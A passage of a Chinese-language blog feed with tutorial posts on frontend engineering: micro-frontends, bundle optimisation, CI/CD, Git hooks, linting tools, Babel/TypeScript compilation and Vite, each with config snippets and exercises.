&lt;li&gt;用 pnpm workspace 建 &lt;code&gt;packages/utils&lt;/code&gt; 和 &lt;code&gt;apps/web&lt;/code&gt;，让 web 引用 utils 的 workspace 版本。&lt;/li&gt;
&lt;li&gt;配 &lt;code&gt;turbo.json&lt;/code&gt; 的 &lt;code&gt;build&lt;/code&gt; pipeline，体验 &lt;code&gt;dependsOn: [&quot;^build&quot;]&lt;/code&gt; 的依赖顺序。&lt;/li&gt;
&lt;li&gt;列出你团队&quot;是否该上 Monorepo&quot;的判定项，给出结论与理由。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>10 · 微前端</title><link>http://117.72.32.87/blog/posts/engineering-roadmap-10-micro-frontend/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/engineering-roadmap-10-micro-frontend/</guid><description>微前端解决&quot;多个团队、多个技术栈、独立部署却同屏运行&quot;的问题。讲清核心思路（基座+子应用、运行时集成）、主流方案（qiankun/Module Federation）的取舍，以及它带来的复杂度代价。</description><pubDate>Thu, 01 Oct 2026 04:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;什么时候才需要它&lt;/h2&gt;
&lt;p&gt;一个中台里，订单团队用 Vue、风控团队用 React，却要合成一个后台；各团队要&lt;strong&gt;独立开发、独立部署、互不阻塞&lt;/strong&gt;。这就是微前端的场景——把&quot;巨石应用&quot;拆成可独立交付的&quot;子应用&quot;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果只是单团队单技术栈，微前端是&lt;strong&gt;过度设计&lt;/strong&gt;，反而引入一堆通信/样式隔离/版本协调的复杂度。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;核心思路：运行时集成&lt;/h2&gt;
&lt;p&gt;与&quot;构建时把代码拼一起&quot;不同，微前端在&lt;strong&gt;运行时&lt;/strong&gt;把子应用挂到基座的容器里：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;基座（主应用）
 ├─ 路由 /app/order  → 加载 Order 子应用（独立部署的 JS）
 ├─ 路由 /app/risk   → 加载 Risk 子应用（另一技术栈）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;子应用各自构建、各自部署，基座按路由决定加载谁。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;主流方案&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;qiankun（基于 single-spa）&lt;/strong&gt;：国内中台常用，提供 JS 沙箱（隔离全局变量）、样式隔离、应用间通信。开箱即用但偏重。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Module Federation（Webpack 5）&lt;/strong&gt;：在&lt;strong&gt;构建期&lt;/strong&gt;声明&quot;哪些模块由谁提供&quot;，运行时直接共享依赖，免重复加载。适合同技术栈的模块级复用，更轻。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web Components / iframe&lt;/strong&gt;：iframe 隔离最彻底但通信难、体验割裂；Web Components 标准但生态弱。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;必须面对的代价&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;样式隔离&lt;/strong&gt;：子应用 CSS 互相污染（用 scoped/Shadow DOM/命名空间）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JS 沙箱&lt;/strong&gt;：全局变量冲突（qiankun 用 proxy 沙箱）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;依赖重复&lt;/strong&gt;：每个子应用都带一份 React，体积翻倍（Module Federation 可缓解）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;通信与调试&lt;/strong&gt;：跨应用状态同步、错误监控定位变复杂。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;微前端解决&quot;多团队独立部署、同屏运行&quot;，非单团队标配。&lt;/li&gt;
&lt;li&gt;思路：基座 + 运行时集成子应用。&lt;/li&gt;
&lt;li&gt;qiankun 重但开箱全，Module Federation 轻但偏同栈。&lt;/li&gt;
&lt;li&gt;它带来沙箱/样式/依赖/通信的真实复杂度，上之前算清收益。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;列出你所在团队&quot;是否真需要微前端&quot;的判断清单（团队数、技术栈数、部署独立性）。&lt;/li&gt;
&lt;li&gt;对比 qiankun 与 Module Federation 在你的场景下的优劣。&lt;/li&gt;
&lt;li&gt;设计一个子应用间通信方案（全局 store vs 自定义事件），说明取舍。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>09 · 构建产物分析与优化</title><link>http://117.72.32.87/blog/posts/engineering-roadmap-09-bundle-analysis/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/engineering-roadmap-09-bundle-analysis/</guid><description>先量化再优化：用 bundle 分析工具定位体积大户，常见的优化手段（拆包、按需引入、压缩、资源优化、HTTP 缓存），以及&quot;别盲目优化&quot;的工程纪律。</description><pubDate>Thu, 01 Oct 2026 03:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;优化第一步是测量&lt;/h2&gt;
&lt;p&gt;我曾花两天&quot;优化&quot;了一个本就不大的 bundle，纯属浪费。正确顺序：&lt;strong&gt;分析 → 定位大头 → 优化 → 再测&lt;/strong&gt;。没数据别动手。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;分析工具&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;webpack-bundle-analyzer&lt;/strong&gt; / &lt;strong&gt;rollup-plugin-visualizer&lt;/strong&gt;：可视化每个模块占的体积，一眼看出谁是&quot;体积刺客&quot;（常是 moment、lodash 全量、某个大图标库）。&lt;/li&gt;
&lt;li&gt;浏览器 DevTools → Network → 看资源大小与加载时间。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;常见优化手段&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. 按需引入，别全量 import&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import _ from &quot;lodash&quot;;        // ❌ 全量，拉进整个库
import debounce from &quot;lodash/debounce&quot;; // ✅ 只引要用的
// 或 ESM 版的 lodash-es 配合 tree-shaking
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. 拆包 / 路由级懒加载&lt;/strong&gt;：首屏只加载必要代码（见 React 篇代码分割）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 压缩与 Tree-shaking&lt;/strong&gt;：&lt;code&gt;mode: production&lt;/code&gt; 自动做；确认用 ESM 以启用摇树。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. 资源优化&lt;/strong&gt;：图片用现代格式（webp/avif）、压缩、用 CDN；字体子集化。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. 缓存策略&lt;/strong&gt;：&lt;code&gt;contenthash&lt;/code&gt; 文件名 + 长缓存（&lt;code&gt;Cache-Control: immutable&lt;/code&gt;），内容不变则命中缓存。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;别盲目优化&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;先确认瓶颈在&lt;strong&gt;体积&lt;/strong&gt;还是&lt;strong&gt;网络&lt;/strong&gt;还是&lt;strong&gt;运行时&lt;/strong&gt;（见浏览器与性能模块）。三者解法完全不同。&lt;/li&gt;
&lt;li&gt;微优化（省几 KB）优先级低于&quot;删掉一个误引的大依赖&quot;（省几百 KB）。&lt;/li&gt;
&lt;li&gt;移动端弱网下，首屏体积比桌面端敏感得多。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;优化前先量化，用可视化工具找体积大头。&lt;/li&gt;
&lt;li&gt;最高杠杆：按需引入、拆包懒加载、删误引大依赖。&lt;/li&gt;
&lt;li&gt;压缩 + tree-shaking + 长缓存组合拳。&lt;/li&gt;
&lt;li&gt;先定位瓶颈类型（体积/网络/运行时），再对症下药。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;用 &lt;code&gt;rollup-plugin-visualizer&lt;/code&gt; 生成你项目 bundle 图，找出最大的三个模块。&lt;/li&gt;
&lt;li&gt;把一个 &lt;code&gt;import _ from &quot;lodash&quot;&lt;/code&gt; 改成按需引入，对比体积变化。&lt;/li&gt;
&lt;li&gt;给静态资源配 &lt;code&gt;contenthash&lt;/code&gt; 文件名，解释它如何让浏览器安全长缓存。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>08 · CI/CD 基础</title><link>http://117.72.32.87/blog/posts/engineering-roadmap-08-cicd/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/engineering-roadmap-08-cicd/</guid><description>CI/CD 把&quot;构建+测试+部署&quot;自动化：每次 push 自动跑 lint、类型检查、测试、构建、发布。讲清流水线阶段划分、缓存加速、以及&quot;构建失败就别上线&quot;这条铁律。</description><pubDate>Thu, 01 Oct 2026 02:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;手动上线的代价&lt;/h2&gt;
&lt;p&gt;早年我手动 &lt;code&gt;build&lt;/code&gt; 完 &lt;code&gt;scp&lt;/code&gt; 到服务器，漏了一步、装错依赖，线上就挂。CI/CD 的价值：&lt;strong&gt;把这套流程变成&quot;提交即触发、机器严格执行&quot;&lt;/strong&gt;，人不再是关键路径。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;一条典型流水线&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;push / PR
 └─ CI（持续集成）
     ├─ install（带缓存）
     ├─ lint            ┐
     ├─ typecheck       ├─ 任一失败即红，阻断合并
     ├─ test            ┘
     └─ build           ┐
                         ├─ 产物存为 artifact
 └─ CD（持续交付/部署）
     └─ 部署到预发/生产（仅主干通过 CI 后）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;阶段划分原则&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;快反馈优先&lt;/strong&gt;：lint/typecheck 放最前，几秒到一分钟出结果，别等 10 分钟构建完才告诉你格式错了。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;失败即止&lt;/strong&gt;：任一步红，后续不跑，省算力也快止损。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缓存&lt;/strong&gt;：依赖（&lt;code&gt;node_modules&lt;/code&gt;）、构建缓存命中能省大量时间。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;关键纪律&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;构建失败绝不上线&lt;/strong&gt;：这是自动化里最不能妥协的一条。本博客的 &lt;code&gt;deploy.sh&lt;/code&gt; 就遵循&quot;先 &lt;code&gt;git pull --ff-only&lt;/code&gt; → 构建 → 部署&quot;，构建不过不部署。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CD 只在受保护分支触发&lt;/strong&gt;：feature 分支只跑 CI，主干合并才部署。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;环境一致性&lt;/strong&gt;：CI 用和本地一致的工具版本（通过 lockfile + 容器/指定 node 版本）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;CI/CD = 提交即自动构建/测试/部署，移除人这个不稳定因素。&lt;/li&gt;
&lt;li&gt;流水线：install → lint/typecheck/test → build → deploy。&lt;/li&gt;
&lt;li&gt;快反馈前置、失败即止、依赖缓存。&lt;/li&gt;
&lt;li&gt;铁律：构建失败不上线。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;画一张你项目的 CI 流程图，标注哪步失败会阻断合并。&lt;/li&gt;
&lt;li&gt;给流水线加&quot;构建耗时&quot;监控，识别最慢阶段能否缓存加速。&lt;/li&gt;
&lt;li&gt;解释为什么 lint 应排在 build 之前而非之后。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>07 · Git Hooks 与质量门禁</title><link>http://117.72.32.87/blog/posts/engineering-roadmap-07-git-hooks/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/engineering-roadmap-07-git-hooks/</guid><description>为什么靠&quot;自觉&quot;跑 lint 会失败：用 Husky 在 pre-commit 自动触发检查，lint-staged 只对暂存文件检查，配合 eslint/prettier 实现&quot;提交即格式化、带问题提交不进场&quot;。</description><pubDate>Wed, 30 Sep 2026 15:45:00 GMT</pubDate><content:encoded>&lt;h2&gt;自觉是不可靠的&lt;/h2&gt;
&lt;p&gt;规范配好了，但有人忘了跑 lint 就提交，CI 才报错，来回返工。&lt;strong&gt;把检查移到&quot;提交动作那一刻&quot;&lt;/strong&gt;——提交前自动跑，过不了就不让提交。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Husky：钩子管家&lt;/h2&gt;
&lt;p&gt;Husky 让你方便地往 Git 生命周期挂脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npx husky init
# 在 .husky/pre-commit 写入：
npx lint-staged
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;pre-commit&lt;/code&gt; 在 &lt;code&gt;git commit&lt;/code&gt; 执行前触发。如果脚本退出码非 0，提交被中止。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;lint-staged：只查改动的文件&lt;/h2&gt;
&lt;p&gt;全量 lint 在大项目很慢。lint-staged 只对你&lt;strong&gt;本次暂存（staged）的文件&lt;/strong&gt;跑检查，速度快、且只格式化你改的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// .lintstagedrc
{
  &quot;*.{ts,tsx,js}&quot;: [&quot;eslint --fix&quot;, &quot;prettier --write&quot;],
  &quot;*.css&quot;: [&quot;stylelint --fix&quot;, &quot;prettier --write&quot;]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;--fix&lt;/code&gt; 顺便自动修格式问题（如补分号、改引号），提交进来的代码永远是干净的。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;完整防线&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;开发者写代码
  → git commit（Husky pre-commit 触发 lint-staged：格式化+检查）
      ├─ 有问题 → 自动 fix 或报错，提交中止，开发者改完重提
      └─ 通过 → 提交成功
  → push → CI 再跑一遍（lint + typecheck + test + build）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;本地钩子是第一道，CI 是兜底（有人绕过钩子也能卡住）。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;靠自觉跑 lint 必漏，检查要绑到 &lt;code&gt;pre-commit&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;Husky 挂钩子，lint-staged 只查暂存文件、快且精准。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--fix&lt;/code&gt; 自动格式化，进仓库即干净。&lt;/li&gt;
&lt;li&gt;本地钩子 + CI 双重防线，质量不靠人。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;给项目加 Husky + lint-staged，提交一个格式乱的文件，观察被自动 fix。&lt;/li&gt;
&lt;li&gt;故意提交一个 ESLint 报 error 的代码，确认提交被中止。&lt;/li&gt;
&lt;li&gt;解释为什么 CI 还要再跑一遍 lint（钩子可被 &lt;code&gt;--no-verify&lt;/code&gt; 跳过）。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>06 · 代码规范（ESLint / Prettier / Stylelint）</title><link>http://117.72.32.87/blog/posts/engineering-roadmap-06-lint-format/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/engineering-roadmap-06-lint-format/</guid><description>ESLint 查&quot;代码问题&quot;（潜在 bug、坏味道），Prettier 管&quot;格式美观&quot;，两者职责分离如何避免冲突；Stylelint 管 CSS；以及一套能落地的团队规范配置。</description><pubDate>Wed, 30 Sep 2026 15:30:00 GMT</pubDate><content:encoded>&lt;h2&gt;规范不是束缚，是&quot;别再为风格吵架&quot;&lt;/h2&gt;
&lt;p&gt;团队里最无意义的消耗就是评审时争论&quot;该不该加分号、缩进几格&quot;。规范把这些问题&lt;strong&gt;自动化&lt;/strong&gt;：机器统一格式，人只评审逻辑。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;ESLint：查问题，不是管格式&lt;/h2&gt;
&lt;p&gt;ESLint 通过规则检查&lt;strong&gt;代码正确性&lt;/strong&gt;：未声明变量、用了 &lt;code&gt;var&lt;/code&gt;、no-fallthrough、潜在的内存泄漏等。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// .eslintrc
{
  &quot;extends&quot;: [&quot;eslint:recommended&quot;, &quot;plugin:@typescript-eslint/recommended&quot;],
  &quot;rules&quot;: { &quot;no-var&quot;: &quot;error&quot;, &quot;no-unused-vars&quot;: &quot;warn&quot; }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配合 &lt;code&gt;@typescript-eslint&lt;/code&gt;，TS 项目能查到类型相关坏味道（如 &lt;code&gt;any&lt;/code&gt; 滥用、不必要的非空断言）。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Prettier：只管格式&lt;/h2&gt;
&lt;p&gt;Prettier 不关心逻辑，只统一&lt;strong&gt;排版&lt;/strong&gt;：换行、引号、尾逗号、缩进。它和 ESLint 有重叠（如引号规则），所以&lt;strong&gt;关掉 ESLint 里所有格式类规则&lt;/strong&gt;，交给 Prettier，避免打架。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// .prettierrc
{ &quot;semi&quot;: true, &quot;singleQuote&quot;: true, &quot;printWidth&quot;: 80 }
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Stylelint：CSS 的健康检查&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/* 规则：禁止无效颜色、要求简写顺序等 */
a { color: #FFF; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;stylelint-config-standard&lt;/code&gt; 提供一套合理默认，管住 CSS/SCSS 的常见错误。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;落地清单&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;ESLint 查逻辑问题，&lt;code&gt;prettier&lt;/code&gt; 管格式，两者用 &lt;code&gt;eslint-config-prettier&lt;/code&gt; 关掉冲突规则。&lt;/li&gt;
&lt;li&gt;编辑器保存时自动 fix（format on save）。&lt;/li&gt;
&lt;li&gt;提交前用 Git Hooks 跑 lint（下篇讲），CI 再卡一道。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;ESLint = 代码正确性；Prettier = 格式美观；Stylelint = CSS 规范。&lt;/li&gt;
&lt;li&gt;ESLint 的格式规则全交给 Prettier，避免冲突。&lt;/li&gt;
&lt;li&gt;规范自动化后，评审聚焦逻辑而非风格。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;给项目配 ESLint + Prettier，并加 &lt;code&gt;eslint-config-prettier&lt;/code&gt; 关闭冲突规则。&lt;/li&gt;
&lt;li&gt;故意写一个 &lt;code&gt;var x = 1&lt;/code&gt; 和未使用变量，运行 lint 看报错级别（error/warn）。&lt;/li&gt;
&lt;li&gt;在编辑器里开启 format on save，体验保存即统一格式。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>05 · Babel 与 TypeScript 编译</title><link>http://117.72.32.87/blog/posts/engineering-roadmap-05-babel-typescript/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/engineering-roadmap-05-babel-typescript/</guid><description>Babel 的定位（语法降级，不类型检查）与 preset 机制，TypeScript 的两种编译路径（tsc 做类型检查、esbuild/babel 只转译），以及&quot;类型检查&quot;与&quot;转译&quot;必须分离的工程常识。</description><pubDate>Wed, 30 Sep 2026 15:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Babel 做什么、不做什么&lt;/h2&gt;
&lt;p&gt;Babel 只做一件事：&lt;strong&gt;把新语法转成旧语法&lt;/strong&gt;（语法降级），让老浏览器能跑。它&lt;strong&gt;不做类型检查&lt;/strong&gt;——&lt;code&gt;const x: number&lt;/code&gt; 里的 &lt;code&gt;: number&lt;/code&gt; 被它直接丢掉，但类型错误它发现不了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// .babelrc
{ &quot;presets&quot;: [&quot;@babel/preset-env&quot;, &quot;@babel/preset-react&quot;, &quot;@babel/preset-typescript&quot;] }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;preset-env&lt;/code&gt; 按目标浏览器决定降级到什么程度；&lt;code&gt;preset-typescript&lt;/code&gt; 只剥离类型注解。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;TypeScript 的两条路径&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;路径&lt;/th&gt;
&lt;th&gt;谁负责&lt;/th&gt;
&lt;th&gt;类型检查&lt;/th&gt;
&lt;th&gt;转译速度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tsc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;TypeScript 官方&lt;/td&gt;
&lt;td&gt;✅ 做&lt;/td&gt;
&lt;td&gt;慢&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;esbuild&lt;/code&gt; / &lt;code&gt;babel&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;转译器&lt;/td&gt;
&lt;td&gt;❌ 不做&lt;/td&gt;
&lt;td&gt;极快&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;关键工程常识：检查与转译分离&lt;/h2&gt;
&lt;p&gt;最佳实践（现代前端标配）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vite build          # 用 esbuild/rollup 转译，极快，不检查类型
tsc --noEmit        # 单独跑类型检查，不参与打包
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;绝不让打包器既转译又类型检查&lt;/strong&gt;——前者要快，后者要严，职责分开各取所长。CI 里 &lt;code&gt;tsc --noEmit&lt;/code&gt; 失败就阻断合并。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;为什么不是&quot;用 tsc 打包&quot;&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;tsc&lt;/code&gt; 只转译+检查，&lt;strong&gt;不会&lt;/strong&gt;做打包（处理 CSS/图片/拆包都不行）。所以类型项目里，tsc 负责&quot;编译期把关&quot;，Vite/webpack 负责&quot;产物构建&quot;，两者协作而非互相替代。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Babel 只降级语法，不检查类型。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tsc&lt;/code&gt; 检查类型但慢；&lt;code&gt;esbuild&lt;/code&gt;/&lt;code&gt;babel&lt;/code&gt; 转译快但不管类型。&lt;/li&gt;
&lt;li&gt;工程上分离：打包器转译、独立 &lt;code&gt;tsc --noEmit&lt;/code&gt; 做类型门禁。&lt;/li&gt;
&lt;li&gt;tsc 不打包，构建交给 Vite/Rollup。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;用 &lt;code&gt;tsc --noEmit&lt;/code&gt; 跑一个故意写了类型错误的文件，看报错；再用 esbuild 转译同一文件，观察类型错误被忽略但编译通过。&lt;/li&gt;
&lt;li&gt;在一个 Vite 项目里配置 npm script：&lt;code&gt;&quot;typecheck&quot;: &quot;tsc --noEmit&quot;&lt;/code&gt;，并在 CI 步骤里调用。&lt;/li&gt;
&lt;li&gt;解释 &lt;code&gt;preset-typescript&lt;/code&gt; 为什么能&quot;剥离类型却不检查&quot;。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>04 · Vite 原理与实战</title><link>http://117.72.32.87/blog/posts/engineering-roadmap-04-vite/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/engineering-roadmap-04-vite/</guid><description>Vite 为什么比 Webpack 快：开发期用浏览器原生 ESM + esbuild 预构建，免打包；生产期用 Rollup。讲清 dev server、依赖预构建、配置要点与&quot;为什么现代项目几乎都选 Vite&quot;。</description><pubDate>Wed, 30 Sep 2026 14:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;第一次 &lt;code&gt;npm run dev&lt;/code&gt; 秒开&lt;/h2&gt;
&lt;p&gt;早年 Webpack 项目 dev 启动要 30 秒（先全量打包）。Vite 启动几乎瞬时，改文件 HMR 也是毫秒级。秘密在&lt;strong&gt;开发期根本不打包&lt;/strong&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;开发期：浏览器原生 ESM&lt;/h2&gt;
&lt;p&gt;Vite 利用现代浏览器原生支持 &lt;code&gt;&amp;lt;script type=&quot;module&quot;&amp;gt;&lt;/code&gt;，直接按需请求模块，&lt;strong&gt;不提前打包&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你改 &lt;code&gt;a.ts&lt;/code&gt;，只重新转译 &lt;code&gt;a.ts&lt;/code&gt; 这一个文件，浏览器重新请求它。&lt;/li&gt;
&lt;li&gt;没有&quot;全量构建&quot;这一步，所以启动和 HMR 都极快。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// vite.config.js
import { defineConfig } from &quot;vite&quot;;
export default defineConfig({
  plugins: [react()],
  server: { port: 5173 },
  build: { outDir: &quot;dist&quot; },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;依赖预构建&lt;/h2&gt;
&lt;p&gt;裸模块 &lt;code&gt;import react from &quot;react&quot;&lt;/code&gt; 浏览器不认识。Vite 用 &lt;strong&gt;esbuild&lt;/strong&gt;（Go 写，极快）把 &lt;code&gt;node_modules&lt;/code&gt; 里的依赖&lt;strong&gt;预构建成 ESM&lt;/strong&gt; 并缓存：解决 CommonJS 兼容、把大依赖拆成小文件以便并行请求。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;改了依赖或切换分支导致缓存失效时，删 &lt;code&gt;node_modules/.vite&lt;/code&gt; 重新预构建即可（本博客部署脚本里那段 &lt;code&gt;rm -rf dist/.vite&lt;/code&gt; 渊源在此）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;生产期：Rollup&lt;/h2&gt;
&lt;p&gt;生产构建仍用 &lt;strong&gt;Rollup&lt;/strong&gt;（成熟、tree-shaking 强），产出去掉 dev 专用的原生 ESM 策略，做完整的拆包与压缩。所以&quot;Vite 快&quot;特指开发体验，生产构建质量不打折。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;为什么现代项目选 Vite&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;启动/HMR 快 → 开发体验碾压。&lt;/li&gt;
&lt;li&gt;配置简单，约定优于配置。&lt;/li&gt;
&lt;li&gt;生态（&lt;code&gt;vite-plugin-*&lt;/code&gt;）丰富，库/应用通吃。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：Vite 要求浏览器支持 ESM，极老浏览器需配合 &lt;code&gt;@vitejs/plugin-legacy&lt;/code&gt; 降级。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;开发期：原生 ESM + 按需转译，免打包 → 启动/HMR 极快。&lt;/li&gt;
&lt;li&gt;esbuild 预构建依赖为 ESM 并缓存。&lt;/li&gt;
&lt;li&gt;生产期：Rollup 负责完整优化。&lt;/li&gt;
&lt;li&gt;现代项目首选 Vite，体验与质量兼得。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;新建一个 Vite + React 项目，&lt;code&gt;npm run dev&lt;/code&gt; 后打开 Network 面板，观察模块是如何被浏览器按需请求的。&lt;/li&gt;
&lt;li&gt;故意删掉 &lt;code&gt;node_modules/.vite&lt;/code&gt; 再启动，观察预构建日志重新执行。&lt;/li&gt;
&lt;li&gt;对比同一项目用 Webpack 与 Vite 的 dev 启动耗时的差异。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>03 · Webpack 核心</title><link>http://117.72.32.87/blog/posts/engineering-roadmap-03-webpack/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/engineering-roadmap-03-webpack/</guid><description>Webpack 的核心概念：entry/output/loader/plugin，loader 如何把非 JS 资源转成模块，plugin 在生命周期钩子上扩展能力，以及拆包（code splitting）与常见优化配置。</description><pubDate>Wed, 30 Sep 2026 13:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Webpack 的心智模型&lt;/h2&gt;
